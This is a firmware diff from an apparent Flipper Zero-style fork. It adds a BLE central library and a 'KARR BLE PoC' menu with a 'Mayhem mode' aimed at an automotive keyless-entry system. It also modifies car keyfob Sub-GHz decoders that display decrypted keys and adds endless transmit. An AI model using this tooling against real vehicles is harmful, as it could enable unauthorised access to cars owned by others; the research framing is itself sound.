+    KarrPocApp* app = context;
+
+    submenu_reset(app->submenu);
+    submenu_set_header(app->submenu, "KARR BLE PoC");
+    submenu_add_item(
+        app->submenu, "Scan for units", KarrPocStartIndex_Scan, karr_poc_scene_start_submenu_callback, app);
+    submenu_add_item(
+        app->submenu, "Mayhem mode", KarrPocStartIndex_Mayhem, karr_poc_scene_start_submenu_callback, app);
+    submenu_add_item(
+        app->submenu, "About", KarrPocStartIndex_About, karr_poc_scene_start_submenu_callback, app);
+
+    view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
+}
+
+bool karr_poc_scene_start_on_event(void* context, SceneManagerEvent event) {
+    KarrPocApp* app = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == KarrPocStartIndex_Scan) {
+            scene_manager_next_scene(app->scene_manager, KarrPocScene_Scan);
+            consumed = true;
+        } else if(event.event == KarrPocStartIndex_Mayhem) {
+            scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemMenu);
+            consumed = true;
+        } else if(event.event == KarrPocStartIndex_About) {
+            widget_reset(app->widget);
+            widget_add_text_scroll_element(
+                app->widget,
+                0,
+                0,
+                128,
+                64,
+                "KARR/QTAP BLE PoC\n\n"
+                "BLE remote keyless system\n"
+                "research project.\n\n"
+                "Protocol and cryptography\n"
+                "analysis of the KARR/QTAP\n"
+                "automotive system.\n\n"
+                "See project documentation\n"
+                "for technical details.");
+            view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
+            consumed = true;
+        }
+    }
+
+    return consumed;
+}
+
+void karr_poc_scene_start_on_exit(void* context) {
+    KarrPocApp* app = context;
+    submenu_reset(app->submenu);
+}
@@ -27,9 +27,9 @@ COPRO_CUBE_VERSION = "1.20.0"
 COPRO_CUBE_DIR = "lib/stm32wb_copro"

 # Default radio stack
-COPRO_STACK_BIN = "stm32wb5x_BLE_Stack_light_fw.bin"
-# Firmware also supports "ble_full", but it might not fit into debug builds
-COPRO_STACK_TYPE = "ble_light"
+COPRO_STACK_BIN = "stm32wb5x_BLE_Stack_full_fw.bin"
+# Firmware also supports "ble_light", but it might not fit into debug builds
+COPRO_STACK_TYPE = "ble_full"

 # Leave 0 to let scripts automatically calculate it
 COPRO_STACK_ADDR = "0x0"
@@ -41,6 +41,7 @@ libs = env.BuildModules(
        "update_util",
        "heatshrink",
        "ble_profile",
+        "ble_central",
        "bit_lib",
        "datetime",
        "ieee754_parse_wrap",
@@ -0,0 +1,25 @@
+Import("env")
+
+env.Append(
+    CPPPATH=[
+        "#/lib/ble_central",
+    ],
+    SDK_HEADERS=[
+        File("ble_central.h"),
+    ],
+)
+
+libenv = env.Clone(FW_LIB_NAME="ble_central")
+libenv.AppendUnique(
+    CCFLAGS=[
+        "-mword-relocations",
+        "-mlong-calls",
+    ],
+)
+libenv.ApplyLibFlags()
+
+sources = libenv.GlobRecursive("*.c")
+
+lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources)
+libenv.Install("${LIB_DIST_DIR}", lib)
+Return("lib")
@@ -0,0 +1,18 @@
+#pragma once
+#include <stdint.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+uint8_t aci_gap_start_general_discovery_proc(uint16_t LE_Scan_Interval, uint16_t LE_Scan_Window, uint8_t Own_Address_Type, uint8_t Filter_Duplicates);
+uint8_t aci_gap_terminate_gap_proc(uint8_t Procedure_Code);
+uint8_t aci_gap_create_connection(uint16_t LE_Scan_Interval, uint16_t LE_Scan_Window, uint8_t Peer_Address_Type, const uint8_t* Peer_Address, uint8_t Own_Address_Type, uint16_t Conn_Interval_Min, uint16_t Conn_Interval_Max, uint16_t Conn_Latency, uint16_t Supervision_Timeout, uint16_t Minimum_CE_Length, uint16_t Maximum_CE_Length);
+uint8_t hci_disconnect(uint16_t Connection_Handle, uint8_t Reason);
+uint8_t aci_gatt_disc_all_primary_services(uint16_t Connection_Handle);
+uint8_t aci_gatt_write_char_value(uint16_t Connection_Handle, uint16_t Attr_Handle, uint8_t Attribute_Val_Length, const uint8_t* Attribute_Val);
+uint8_t aci_gatt_write_without_resp(uint16_t Connection_Handle, uint16_t Attr_Handle, uint8_t Attribute_Val_Length, const uint8_t* Attribute_Val);
+
+#ifdef __cplusplus
+}
+#endif
@@ -0,0 +1,357 @@
+#include "ble_central.h"
+
+#include <ble/ble.h>
+#include <ble_glue.h>
+#include <furi_ble/event_dispatcher.h>
+#include <interface/patterns/ble_thread/tl/hci_tl.h>
+#include <furi.h>
+
+#define TAG "BleCentral"
+#define BLE_CENTRAL_SCAN_INTERVAL 0x100
+#define BLE_CENTRAL_SCAN_WINDOW  0x50
+
+typedef struct {
+    BleCentralEventCallback callback;
+    void* context;
+    GapSvcEventHandler* handler_ref;
+    uint16_t connection_handle;
+    bool connected;
+    bool scanning;
+} BleCentral;
+
+static BleCentral* ble_central = NULL;
+
+static const char* ble_central_status_str(uint8_t status) {
+    switch(status) {
+    case 0x00: return "SUCCESS";
+    case 0x01: return "UNKNOWN_HCI_CMD";
+    case 0x02: return "UNKNOWN_CONN_ID";
+    case 0x03: return "HW_FAILURE";
+    case 0x04: return "PAGE_TIMEOUT";
+    case 0x05: return "AUTH_FAILURE";
+    case 0x06: return "PIN_MISSING";
+    case 0x07: return "MEM_CAP_EXCEEDED";
+    case 0x08: return "CONN_TIMEOUT";
+    case 0x09: return "CONN_LIMIT_EXCEEDED";
+    case 0x0A: return "SYNC_CONN_LIMIT_EXCEEDED";
+    case 0x0B: return "ACL_CONN_ALREADY_EXISTS";
+    case 0x0C: return "CMD_DISALLOWED";
+    case 0x0D: return "CONN_REJ_LIMITED_RESOURCES";
+    case 0x0E: return "CONN_REJ_SECURITY_REASONS";
+    case 0x0F: return "CONN_REJ_UNACCEPTABLE_BDADDR";
+    case 0x10: return "CONN_ACCEPT_TIMEOUT";
+    case 0x11: return "UNSUPPORTED_FEATURE";
+    case 0x12: return "INVALID_HCI_CMD_PARAMS";
+    case 0x13: return "REMOTE_USER_TERM_CONN";
+    case 0x14: return "REMOTE_DEV_TERM_CONN_LOW_RESOURCES";
+    case 0x15: return "REMOTE_DEV_TERM_CONN_POWER_OFF";
+    case 0x16: return "CONN_TERM_BY_LOCAL_HOST";
+    case 0x92: return "INVALID_PARAMS";
+    case 0x97: return "ERROR";
+    default: return "UNKNOWN";
+    }
+}
+
+static BleCentralAdvertisedDevice* ble_central_parse_advert_report(void* data) {
+    hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)data)->data);
+    if(event_pckt->evt != HCI_LE_META_EVT_CODE) return NULL;
+
+    evt_le_meta_event* meta_evt = (evt_le_meta_event*)event_pckt->data;
+    if(meta_evt->subevent != HCI_LE_ADVERTISING_REPORT_SUBEVT_CODE) return NULL;
+
+    hci_le_advertising_report_event_rp0* adv_rpt =
+        (hci_le_advertising_report_event_rp0*)meta_evt->data;
+
+    if(adv_rpt->Num_Reports == 0) return NULL;
+
+    uint8_t data_len = adv_rpt->Advertising_Report[0].Length_Data;
+    uint8_t* data_ptr = &adv_rpt->Advertising_Report[0].Length_Data + 1;
+    int8_t rssi = *(int8_t*)(data_ptr + data_len);
+
+    BleCentralAdvertisedDevice* device = malloc(sizeof(BleCentralAdvertisedDevice));
+    device->address_type = adv_rpt->Advertising_Report[0].Address_Type;
+    memcpy(device->address, adv_rpt->Advertising_Report[0].Address, 6);
+    device->rssi = rssi;
+    device->name[0] = '\0';
+
+    uint8_t pos = 0;
+    while(pos < data_len) {
+        uint8_t field_len = data_ptr[pos];
+        if(field_len == 0) break;
+        uint8_t field_type = data_ptr[pos + 1];
+        if(field_type == AD_TYPE_COMPLETE_LOCAL_NAME ||
+           field_type == AD_TYPE_SHORTENED_LOCAL_NAME) {
+            uint8_t name_len = field_len - 1;
+            if(name_len > 31) name_len = 31;
+            memcpy(device->name, &data_ptr[pos + 2], name_len);
+            device->name[name_len] = '\0';
+            break;
+        }
+        pos += field_len + 1;
+    }
+
+    return device;
+}
+
+static BleEventAckStatus ble_central_event_handler(void* event, void* context) {
+    UNUSED(context);
+    if(!ble_central || !ble_central->callback) return BleEventNotAck;
+
+    hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)event)->data);
+
+    FURI_LOG_I(TAG, "HCI event: evt=0x%02X", event_pckt->evt);
+
+    if(event_pckt->evt == HCI_LE_META_EVT_CODE) {
+        evt_le_meta_event* meta_evt = (evt_le_meta_event*)event_pckt->data;
+        FURI_LOG_I(TAG, "LE Meta event: subevent=0x%02X", meta_evt->subevent);
+
+        if(meta_evt->subevent == HCI_LE_ADVERTISING_REPORT_SUBEVT_CODE) {
+            BleCentralAdvertisedDevice* device = ble_central_parse_advert_report(event);
+            if(device) {
+                FURI_LOG_I(TAG, "Device found: %s [%02X:%02X:%02X:%02X:%02X:%02X] rssi=%d",
+                    device->name,
+                    device->address[0], device->address[1], device->address[2],
+                    device->address[3], device->address[4], device->address[5],
+                    device->rssi);
+                ble_central->callback(BleCentralEventDeviceFound, device, ble_central->context);
+                free(device);
+                return BleEventAckFlowEnable;
+            }
+        }
+        return BleEventNotAck;
+    }
+
+    if(event_pckt->evt == HCI_VENDOR_SPECIFIC_DEBUG_EVT_CODE) {
+        evt_blecore_aci* blue_evt = (evt_blecore_aci*)event_pckt->data;
+        FURI_LOG_I(TAG, "Vendor event: ecode=0x%04X", blue_evt->ecode);
+        if(blue_evt->ecode == ACI_GAP_PROC_COMPLETE_VSEVT_CODE) {
+            FURI_LOG_I(TAG, "GAP procedure complete");
+            ble_central->scanning = false;
+            ble_central->callback(BleCentralEventGattProcComplete, NULL, ble_central->context);
+            return BleEventAckFlowEnable;
+        }
+        return BleEventNotAck;
+    }
+
+    if(event_pckt->evt == HCI_DISCONNECTION_COMPLETE_EVT_CODE) {
+        FURI_LOG_W(TAG, "Disconnection complete (handle=0x%04X)", ble_central->connection_handle);
+        ble_central->connected = false;
+        ble_central->connection_handle = 0;
+        ble_central->callback(BleCentralEventDisconnected, NULL, ble_central->context);
+        return BleEventAckFlowEnable;
+    }
+
+    return BleEventNotAck;
+}
+
+static void ble_central_free(void) {
+    if(!ble_central) return;
+    if(ble_central->handler_ref) {
+        ble_event_dispatcher_unregister_svc_handler(ble_central->handler_ref);
+    }
+    free(ble_central);
+    ble_central = NULL;
+}
+
+bool ble_central_scan_start(BleCentralEventCallback callback, void* context) {
+    furi_check(callback != NULL);
+    furi_check(context != NULL);
+
+    if(ble_central) {
+        FURI_LOG_W(TAG, "scan_start: already initialized, cleaning up previous instance");
+        ble_central_free();
+    }
+
+    FURI_LOG_I(TAG, "ble_central_scan_start: callback=%p ctx=%p", callback, context);
+
+    ble_central = malloc(sizeof(BleCentral));
+    ble_central->callback = callback;
+    ble_central->context = context;
+    ble_central->connected = false;
+    ble_central->connection_handle = 0;
+    ble_central->scanning = false;
+
+    ble_central->handler_ref =
+        ble_event_dispatcher_register_svc_handler(ble_central_event_handler, ble_central);
+    if(!ble_central->handler_ref) {
+        FURI_LOG_E(TAG, "ble_event_dispatcher_register_svc_handler FAILED");
+        ble_central_free();
+        return false;
+    }
+    FURI_LOG_I(TAG, "Event handler registered: %p", ble_central->handler_ref);
+
+    FURI_LOG_I(TAG,
+        "Calling aci_gap_start_general_discovery_proc(interval=0x%04X, window=0x%04X, addr_type=0x%02X, filter=0x%02X)",
+        BLE_CENTRAL_SCAN_INTERVAL, BLE_CENTRAL_SCAN_WINDOW, 0x00, 0x00);
+
+    tBleStatus status = aci_gap_start_general_discovery_proc(
+        BLE_CENTRAL_SCAN_INTERVAL,
+        BLE_CENTRAL_SCAN_WINDOW,
+        0x00,
+        0x00);
+
+    if(status != BLE_STATUS_SUCCESS) {
+        FURI_LOG_E(TAG, "aci_gap_start_general_discovery_proc FAILED: 0x%02X (%s)",
+            status, ble_central_status_str(status));
+        ble_central_free();
+        return false;
+    }
+
+    ble_central->scanning = true;
+    FURI_LOG_I(TAG, "Scan started successfully");
+    return true;
+}
+
+bool ble_central_scan_stop(void) {
+    if(!ble_central) {
+        FURI_LOG_W(TAG, "scan_stop: not initialized");
+        return false;
+    }
+
+    if(ble_central->scanning) {
+        FURI_LOG_I(TAG, "Stopping scan (terminating GAP discovery proc)");
+        tBleStatus status = aci_gap_terminate_gap_proc(GAP_GENERAL_DISCOVERY_PROC);
+        if(status != BLE_STATUS_SUCCESS) {
+            FURI_LOG_W(TAG, "aci_gap_terminate_gap_proc returned 0x%02X (%s) — may have already completed",
+                status, ble_central_status_str(status));
+        }
+        ble_central->scanning = false;
+    } else {
+        FURI_LOG_I(TAG, "scan_stop: GAP proc already completed, cleaning up");
+    }
+
+    ble_central_free();
+    FURI_LOG_I(TAG, "Scan stopped");
+    return true;
+}
+
+bool ble_central_connect(const uint8_t* address, uint8_t address_type) {
+    if(!ble_central) {
+        FURI_LOG_E(TAG, "connect: ble_central is NULL (not initialized)");
+        return false;
+    }
+    if(ble_central->connected) {
+        FURI_LOG_W(TAG, "connect: already connected (handle=0x%04X)", ble_central->connection_handle);
+        return false;
+    }
+
+    FURI_LOG_I(TAG, "Connecting to %02X:%02X:%02X:%02X:%02X:%02X type=%d",
+        address[0], address[1], address[2], address[3], address[4], address[5], address_type);
+
+    tBleStatus status = aci_gap_create_connection(
+        0x100, 0x50,
+        address_type,
+        address,
+        0x00,
+        0x28, 0x38,
+        0x00, 0x100,
+        0x0010, 0x0010);
+
+    if(status != BLE_STATUS_SUCCESS) {
+        FURI_LOG_E(TAG, "aci_gap_create_connection FAILED: 0x%02X (%s)",
+            status, ble_central_status_str(status));
+        return false;
+    }
+
+    FURI_LOG_I(TAG, "Connection initiated, waiting for HCI_LE_CONNECTION_COMPLETE");
+    return true;
+}
+
+bool ble_central_disconnect(void) {
+    if(!ble_central) {
+        FURI_LOG_E(TAG, "disconnect: ble_central is NULL");
+        return false;
+    }
+    if(!ble_central->connected) {
+        FURI_LOG_W(TAG, "disconnect: not connected");
+        return false;
+    }
+
+    FURI_LOG_I(TAG, "Disconnecting handle=0x%04X reason=0x13", ble_central->connection_handle);
+    tBleStatus status = hci_disconnect(ble_central->connection_handle, 0x13);
+    if(status != BLE_STATUS_SUCCESS) {
+        FURI_LOG_E(TAG, "hci_disconnect FAILED: 0x%02X (%s)",
+            status, ble_central_status_str(status));
+        return false;
+    }
+
+    ble_central->connected = false;
+    ble_central->connection_handle = 0;
+    return true;
+}
+
+bool ble_central_discover_services(void) {
+    if(!ble_central) {
+        FURI_LOG_E(TAG, "discover_services: ble_central is NULL");
+        return false;
+    }
+    if(!ble_central->connected) {
+        FURI_LOG_E(TAG, "discover_services: not connected");
+        return false;
+    }
+
+    FURI_LOG_I(TAG, "Discovering primary services on handle=0x%04X",
+        ble_central->connection_handle);
+    tBleStatus status = aci_gatt_disc_all_primary_services(ble_central->connection_handle);
+    if(status != BLE_STATUS_SUCCESS) {
+        FURI_LOG_E(TAG, "aci_gatt_disc_all_primary_services FAILED: 0x%02X (%s)",
+            status, ble_central_status_str(status));
+        return false;
+    }
+
+    return true;
+}
+
+bool ble_central_write_command(uint16_t handle, const uint8_t* data, uint16_t len) {
+    if(!ble_central) {
+        FURI_LOG_E(TAG, "write_command: ble_central is NULL");
+        return false;
+    }
+    if(!ble_central->connected) {
+        FURI_LOG_E(TAG, "write_command: not connected");
+        return false;
+    }
+
+    FURI_LOG_I(TAG, "Write without response: handle=0x%04X len=%u", handle, len);
+    tBleStatus status = aci_gatt_write_without_resp(
+        ble_central->connection_handle, handle, len, data);
+    if(status != BLE_STATUS_SUCCESS) {
+        FURI_LOG_E(TAG, "aci_gatt_write_without_resp FAILED: 0x%02X (%s)",
+            status, ble_central_status_str(status));
+        return false;
+    }
+
+    return true;
+}
+
+bool ble_central_write_request(uint16_t handle, const uint8_t* data, uint16_t len) {
+    if(!ble_central) {
+        FURI_LOG_E(TAG, "write_request: ble_central is NULL");
+        return false;
+    }
+    if(!ble_central->connected) {
+        FURI_LOG_E(TAG, "write_request: not connected");
+        return false;
+    }
+
+    FURI_LOG_I(TAG, "Write with response: handle=0x%04X len=%u", handle, len);
+    tBleStatus status = aci_gatt_write_char_value(
+        ble_central->connection_handle, handle, len, data);
+    if(status != BLE_STATUS_SUCCESS) {
+        FURI_LOG_E(TAG, "aci_gatt_write_char_value FAILED: 0x%02X (%s)",
+            status, ble_central_status_str(status));
+        return false;
+    }
+
+    return true;
+}
+
+uint16_t ble_central_get_connection_handle(void) {
+    if(!ble_central) return 0;
+    return ble_central->connection_handle;
+}
+
+bool ble_central_is_connected(void) {
+    if(!ble_central) return false;
+    return ble_central->connected;
+}
@@ -0,0 +1,45 @@
+#pragma once
+
+#include <stdint.h>
+#include <stdbool.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef enum {
+    BleCentralEventDeviceFound,
+    BleCentralEventConnected,
+    BleCentralEventDisconnected,
+    BleCentralEventGattProcComplete,
+    BleCentralEventDataReceived,
+} BleCentralEventType;
+
+typedef struct {
+    uint8_t address[6];
+    uint8_t address_type;
+    char name[32];
+    int8_t rssi;
+} BleCentralAdvertisedDevice;
+
+typedef struct {
+    uint16_t handle;
+    uint8_t data[256];
+    uint16_t len;
+} BleCentralGattData;
+
+typedef void (*BleCentralEventCallback)(BleCentralEventType event, void* data, void* context);
+
+bool ble_central_scan_start(BleCentralEventCallback callback, void* context);
+bool ble_central_scan_stop(void);
+bool ble_central_connect(const uint8_t* address, uint8_t address_type);
+bool ble_central_disconnect(void);
+bool ble_central_discover_services(void);
+bool ble_central_write_command(uint16_t handle, const uint8_t* data, uint16_t len);
+bool ble_central_write_request(uint16_t handle, const uint8_t* data, uint16_t len);
+uint16_t ble_central_get_connection_handle(void);
+bool ble_central_is_connected(void);
+
+#ifdef __cplusplus
+}
+#endif
@@ -107,7 +107,7 @@ const SubGhzProtocol* const subghz_protocol_registry_items[] = {
    &ford_protocol_v2,
    &ford_protocol_v3,
    //&subghz_protocol_land_rover_v0,
-    &subghz_protocol_toyota,
+    //&subghz_protocol_toyota,
    &honda_static_protocol,
    &honda_v1_protocol,
    &honda_v2_protocol,
@@ -103,8 +103,8 @@ static uint8_t vag_custom_to_btn(uint8_t custom, uint8_t original_btn) {
    switch(custom) {
        case 1: return 0x20;
        case 2: return 0x10;
-        case 3: return 0x40;
-        case 4: return 0x80;
+        case 3:
+        case 4: return 0x40;
        default: return original_btn;
    }
 }
@@ -113,8 +113,8 @@ static uint8_t vag_btn_to_custom(uint8_t btn) {
    switch(btn) {
        case 0x10: return 2;
        case 0x20: return 1;
-        case 0x40: return 3;
-        case 0x80: return 4;
+        case 0x40:
+        case 0x80: return 3;
        default: return 1;
    }
 }
@@ -1211,7 +1211,7 @@ void subghz_protocol_decoder_vag_get_string(void* context, FuriString* output) {
    if(instance->decrypted) {
        furi_string_cat_printf(
            output,
-            "%s %dbit\r\n"
+            "%s %db\r\n"
            "Key1:%08lX%08lX\r\n"
            "Key2:%04X KeyIdx:%d\r\n"
            "Ser:%08lX Cnt:%06lX\r\n"
@@ -1297,7 +1297,7 @@ LevelDuration subghz_protocol_encoder_vag_yield(void* context) {

    if(instance->front >= instance->size_upload) {
        instance->front = 0;
-        instance->repeat--;
+        if(!subghz_block_generic_global.endless_tx) instance->repeat--;
    }

    return ret;
@@ -14,15 +14,16 @@ IWDGSTOP:0x1:rw
 IWDGSW:0x1:rw
 IPCCDBA:0x0:rw
 ESE:0x1:r
-SFSA:0xD7:r
+SFSA:0xCE:rw
 FSD:0x0:r
 DDS:0x1:r
-C2OPT:0x1:r
-NBRSD:0x0:r
-SNBRSA:0xB:r
-BRSD:0x0:r
-SBRSA:0x12:r
-SBRV:0x35C00:r
+# Word 15 (C2 Opts) - read-only in firmware (NULL register), keep device values
+# C2OPT:0x1:r
+# NBRSD:0x0:r
+# SNBRSA:0xB:r
+# BRSD:0x0:r
+# SBRSA:0x12:r
+# SBRV:0x35C00:r
 PCROP1A_STRT:0x1FF:r
 PCROP1A_END:0x0:r
 PCROP_RDP:0x1:rw
@@ -37,6 +37,13 @@ ENV.AppendUnique(
        "-specs=nano.specs",
        "-Wl,--gc-sections",
        "-Wl,--undefined=uxTopUsedPriority",
+        "-Wl,--undefined=aci_gap_start_general_discovery_proc",
+        "-Wl,--undefined=aci_gap_terminate_gap_proc",
+        "-Wl,--undefined=aci_gap_create_connection",
+        "-Wl,--undefined=hci_disconnect",
+        "-Wl,--undefined=aci_gatt_disc_all_primary_services",
+        "-Wl,--undefined=aci_gatt_write_char_value",
+        "-Wl,--undefined=aci_gatt_write_without_resp",
        "-Wl,--wrap,_malloc_r",
        "-Wl,--wrap,_free_r",
        "-Wl,--wrap,_calloc_r",
@@ -1,5 +1,5 @@
 entry,status,name,type,params
-Version,+,89.2,,
+Version,+,89.3,,
 Header,+,applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h,,
 Header,+,applications/services/applications.h,,
 Header,+,applications/services/bt/bt_service/bt.h,,
@@ -50,6 +50,8 @@ Header,+,applications/services/power/power_service/power.h,,
 Header,+,applications/services/rpc/rpc_app.h,,
 Header,+,applications/services/storage/storage.h,,
 Header,+,lib/bit_lib/bit_lib.h,,
+Header,+,lib/ble_central/aci_decls.h,,
+Header,+,lib/ble_central/ble_central.h,,
 Header,+,lib/ble_profile/extra_profiles/hid_profile.h,,
 Header,+,lib/ble_profile/extra_services/hid_service.h,,
 Header,+,lib/datetime/datetime.h,,
@@ -625,6 +627,12 @@ Function,-,_wctomb_r,int,"_reent*, char*, wchar_t, _mbstate_t*"
 Function,-,a64l,long,const char*
 Function,+,abort,void,
 Function,-,abs,int,int
+Function,+,aci_gap_create_connection,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*, uint8_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t, uint16_t"
+Function,+,aci_gap_start_general_discovery_proc,uint8_t,"uint16_t, uint16_t, uint8_t, uint8_t"
+Function,+,aci_gap_terminate_gap_proc,uint8_t,uint8_t
+Function,+,aci_gatt_disc_all_primary_services,uint8_t,uint16_t
+Function,+,aci_gatt_write_char_value,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*"
+Function,+,aci_gatt_write_without_resp,uint8_t,"uint16_t, uint16_t, uint8_t, const uint8_t*"
 Function,-,acos,double,double
 Function,-,acosf,float,float
 Function,-,acosh,double,double
@@ -734,6 +742,15 @@ Function,+,bit_lib_test_parity_32,_Bool,"uint32_t, BitLibParity"
 Function,-,ble_app_deinit,void,
 Function,-,ble_app_get_key_storage_buff,void,"uint8_t**, uint16_t*"
 Function,-,ble_app_init,_Bool,
+Function,-,ble_central_connect,_Bool,"const uint8_t*, uint8_t"
+Function,-,ble_central_disconnect,_Bool,
+Function,-,ble_central_discover_services,_Bool,
+Function,-,ble_central_get_connection_handle,uint16_t,
+Function,-,ble_central_is_connected,_Bool,
+Function,-,ble_central_scan_start,_Bool,"BleCentralEventCallback, void*"
+Function,-,ble_central_scan_stop,_Bool,
+Function,-,ble_central_write_command,_Bool,"uint16_t, const uint8_t*, uint16_t"
+Function,-,ble_central_write_request,_Bool,"uint16_t, const uint8_t*, uint16_t"
 Function,-,ble_event_app_notification,BleEventFlowStatus,void*
 Function,-,ble_event_dispatcher_init,void,
 Function,-,ble_event_dispatcher_process_event,BleEventFlowStatus,void*
@@ -2088,7 +2105,8 @@ Function,+,gui_set_lockdown,void,"Gui*, _Bool"
 Function,+,gui_set_lockdown_inhibit,void,"Gui*, _Bool"
 Function,-,gui_view_port_send_to_back,void,"Gui*, ViewPort*"
 Function,+,gui_view_port_send_to_front,void,"Gui*, ViewPort*"
-Function,-,hci_send_req,int,"hci_request*, uint8_t"
+Function,+,hci_disconnect,uint8_t,"uint16_t, uint8_t"
+Function,+,hci_send_req,int,"hci_request*, uint8_t"
 Function,+,hex_char_to_hex_nibble,_Bool,"char, uint8_t*"
 Function,+,hex_char_to_uint8,_Bool,"char, char, uint8_t*"
 Function,+,hex_chars_to_uint64,_Bool,"const char*, uint64_t*"
@@ -359,7 +359,7 @@ static void gap_init_svc(Gap* gap, const GapRootSecurityKeys* root_keys) {
    // Skip first symbol AD_TYPE_COMPLETE_LOCAL_NAME
    char* name = gap->service.adv_name + 1;
    aci_gap_init(
-        GAP_PERIPHERAL_ROLE,
+        GAP_PERIPHERAL_ROLE | GAP_CENTRAL_ROLE | GAP_OBSERVER_ROLE,
        0,
        strlen(name),
        &gap->service.gap_svc_handle,
@@ -11,7 +11,8 @@
        "platform_specific",
        "ble_glue/furi_ble",
        "ble_glue/services",
-        "ble_glue/profiles"
+        "ble_glue/profiles",
+        "../../lib/ble_central"
    ],
    "linker_script_flash": "stm32wb55xx_flash.ld",
    "linker_script_ram": "stm32wb55xx_ram_fw.ld",
Author	SHA1	Message	Date
d4rks1d33	56701a815b	A lot of new things, the connection with the mobile app isn't working, it's too late and I need to sleep, I'll take care of that tomorrow, it's a minor thing Build Dev Firmware / build (push) Canceled after 0s Details	2026-07-25 02:21:15 -03:00
d4rks1d33	833c9ad29b	Custom emulate on receiver when using full dpad without saving the signal Build Dev Firmware / build (push) Canceled after 0s Details	2026-07-23 22:11:38 -03:00
d4rks1d33	8117e422d0	fixes Build Dev Firmware / build (push) Canceled after 0s Details	2026-07-23 21:42:29 -03:00
d4rks1d33	a483f253c7	fix VAG and long press TX Build Dev Firmware / build (push) Canceled after 0s Details	2026-07-23 21:34:25 -03:00
d4rks1d33	f71813e1c1	comment toyota Build Dev Firmware / build (push) Canceled after 0s Details	2026-07-22 21:10:59 -03:00